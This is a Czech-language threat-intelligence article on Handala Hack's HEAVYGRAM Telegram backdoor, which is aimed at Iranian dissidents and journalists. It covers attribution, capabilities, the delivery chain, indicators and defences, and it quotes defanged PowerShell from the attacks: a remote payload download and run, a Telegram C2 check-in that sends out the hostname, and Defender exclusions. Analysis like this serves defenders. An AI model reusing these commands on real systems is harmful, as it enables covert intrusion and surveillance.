ránská hacktivistická persona Handala Hack stojí za rozsáhlou kampaní zaměřenou na disidenty, novináře a opoziční skupiny. Podle analýzy společnosti Group-IB, která navazuje na varování FBI a britského NCSC, skupina nasazuje sofistikovaný backdoor HEAVYGRAM. Tento malware pro řízení a exfiltraci dat systematicky zneužívá Telegram.
Kdo je Handala Hack
Handala Hack se navenek prezentuje jako pro-palestinská hacktivistická skupina. Analytici Group-IB a Check Pointu však ukazují, že jde o krycí jméno aktéra Void Manticore (známého také jako Banished Kitten, Red Sandstorm nebo Storm-0842). Tento aktér je napojen na íránské Ministerstvo zpravodajství a bezpečnosti (MOIS).
Persona se objevila krátce po 7. říjnu 2023. Stejný aktér v minulosti používal i jiné krycí identity, například Homeland Justice při útocích na Albánii.
Backdoor HEAVYGRAM (CHOSEN BRICK)
HEAVYGRAM (FBI ho eviduje také pod označením CHOSEN BRICK) je pythonový backdoor pro Windows, balený pomocí PyInstaller. Jako hlavní řídicí kanál (C2) využívá Telegram Bot API. Každá oběť obvykle dostává vlastní bot token, což útočníkům umožňuje izolovat jednotlivé infekce.
Mezi hlavní schopnosti malwaru patří:
- vzdálené spouštění příkazů,
- pořizování screenshotů a nahrávání z mikrofonu,
- exfiltrace dat z Telegram Desktop a WhatsAppu,
- krádež uložených hesel z prohlížečů,
- stahování a spouštění dalšího malwaru,
- mazání souborů,
- perzistence přes Windows Registry (autorun klíče).
Operátoři s implantátem komunikují prostřednictvím systému prefixů v telegramových zprávách:
- @@ spustí libovolný systémový příkaz,
- ** zapíše obsah zprávy do souboru pro pozdější zpracování,
- ## aktivuje sadu vestavěných backdoor příkazů.
Mezi nejdůležitější příkazy patří například:
- ss – pořízení a odeslání screenshotu,
- dt – exfiltrace Telegram session dat,
- si – sběr informací o systému,
- whois – zjištění veřejné IP adresy oběti.
Nástroj CRUDEEXCLUDE připraví terén
Před nasazením samotného backdooru útočníci často použijí nástroj CRUDEEXCLUDE, napsaný v Delphi. Ten do Microsoft Defenderu přidá výjimky pro cesty, kde bude malware běžet, a maskuje se jako legitimní aplikace (například Pictory, KeePass nebo Telegram Authenticator). Uvnitř často skrývá archiv s dalším payloadem.
Jak probíhá útok
Kampaň se opírá o sociální inženýrství na Telegramu, WhatsAppu a Instagramu. Útočníci se vydávají za technickou podporu nebo důvěryhodný kontakt a několik dní budují důvěru oběti. Následně pošlou soubor maskovaný jako známá aplikace – například Pictory, KeePass, RunwayML, Norton Antivirus nebo dokonce výsledek lékařského MRI vyšetření.
Po spuštění se zobrazí falešné rozhraní, zatímco na pozadí probíhá instalace backdooru. Malware se zapíše do autorunu a nastaví si výjimky v Microsoft Defenderu.
Typický řetězec dodání vypadá takto:
- WSF nebo VBS skript stáhne decoy dokument (např. PPTX) a ZIP archiv z cloudového úložiště Vultr Object Storage.
- Archiv se rozbalí do skryté složky v C:\ProgramData.
- Následně se spustí spustitelný soubor implantátu.
Jiná varianta používá HTA/VBS skript, který po prvním spuštění pošle do Telegramu zprávu s hostname napadeného stroje a poté v pravidelných intervalech kontroluje bota, zda mu operátor neposlal další stage.
Cíle a dopad
Terčem kampaně jsou primárně íránští disidenti, novináři (včetně spolupracovníků Iran International), aktivisté a lidé veřejně kritizující íránský režim. Potvrzené případy se objevily ve Velké Británii, USA i Nizozemsku. Ukradená data se opakovaně objevují na pro-íránských leak webech – část z nich byla zabavena v březnu 2026.
Skupina má na kontě i historii destruktivních útoků a operací typu hack-and-leak. HEAVYGRAM tak zapadá do dlouhodobého vzorce chování tohoto aktéra.
Ukázky kódu z jednotlivých fází útoku
Group-IB ve své analýze zveřejnila i dekódované skripty, které dokreslují technickou stránku kampaně.
Stahování payloadu z Vultr Object Storage
PowerShell
$path2 = $Env:temp+'\Artificial intelligence.pptx.pptx';
$client2 = New-Object System.Net.WebClient;
$client2.downloadfile(
'hxxps://sgp1[.]vultrobjects[.]com/jttrepijgdb/Artificial%20intelligence.pptx',
$path2);
Start-Process -FilePath $path2;
$path3 = $Env:temp+'\a650bc3533b424d03[.]zip';
$client3 = New-Object System.Net.WebClient;
$client3.downloadfile(
'hxxps://sgp1[.]vultrobjects[.]com/jttrepijgdb/efg_d4[.]zip',
$path3);
Expand-Archive `
-Path $path3 `
-DestinationPath `
'C:\ProgramData\ssh-cache-default\{8bda3848-495e-43f4-8d10-7d37a67f1604}' `
-Force;
Start-Process `
-FilePath `
'C:\ProgramData\ssh-cache-default\{8bda3848-495e-43f4-8d10-7d37a67f1604}\RuntimeSSH.exe'Check-in a polling přes Telegram Bot API
PowerShell
$hn = hostname
$response = Invoke-RestMethod -Uri "hxxps://api[.]telegram[.]org/bot783XXXX576:/sendMessage?chat_id=-100239XXXX515&text=🟢$hn%20is%20online&parse_mode=Markdown" -Method GetPřidávání výjimek do Microsoft Defenderu nástrojem CRUDEEXCLUDE
PowerShell
Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\MicrosoftDistribution\sysmain'
Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\SMQDServicePackages\488ht1-8ww648q'
Add-MpPreference -ExclusionPath 'C:\Users\<username>\Downloads\Telegram Desktop'Indikátory kompromitace
Mezi klíčové síťové indikátory patří komunikace s api.telegram.org a cloudovými úložišti vultrobjects.com, storjshare.io a backblazeb2.com. Novější varianty navíc směrují telegramový provoz přes rezidenční proxy služby IPRoyal a LightningProxies.
Na úrovni hostitele stojí za pozornost registry klíče SMQDService a winappx v HKCU\Software\Microsoft\Windows\CurrentVersion\Run a složky jako C:\ProgramData\SMQDServicePackages nebo C:\ProgramData\ssh-cache-default.
Společné varování NCSC, FBI a nizozemské AIVD ze září 2026 obsahuje kompletní seznam hashů, registry klíčů a síťových indikátorů pro detekci.
Doporučení
Organizace, které mohou být cílem podobných kampaní, by měly:
- věnovat pozornost neobvyklým výjimkám v Microsoft Defenderu,
- monitorovat odchozí provoz na api.telegram.org z pracovních stanic,
- školit uživatele v rozpoznávání sociálního inženýrství na messengerech,
- kontrolovat autorun klíče v registru,
- detekovat nezvyklý provoz směrem k cloudovým object storage službám mimo firemní infrastrukturu.
Zdroje
- The Hacker News: Iran-Linked Handala Hack Tied to HEAVYGRAM Telegram Backdoor That Can Steal Passwords
- Group-IB: HEAVYGRAM: A Telegram-based Surveillance Backdoor Linked to Handala Hack
- FBI FLASH (aktualizace): Update on Government of Iran Cyber Actors’ Deployment of Telegram C2 to Push Malware to Identified Targets
- FBI FLASH (březen 2026): Government of Iran Cyber Actors Deploy Telegram C2 to Push Malware to Identified Targets
- NCSC (UK) + FBI + AIVD: Iranian cyber targeting of dissidents, activists and journalists
- The Hacker News: Iranian Hackers Use Telegram-Controlled Malware to Spy on Dissidents and Journalists
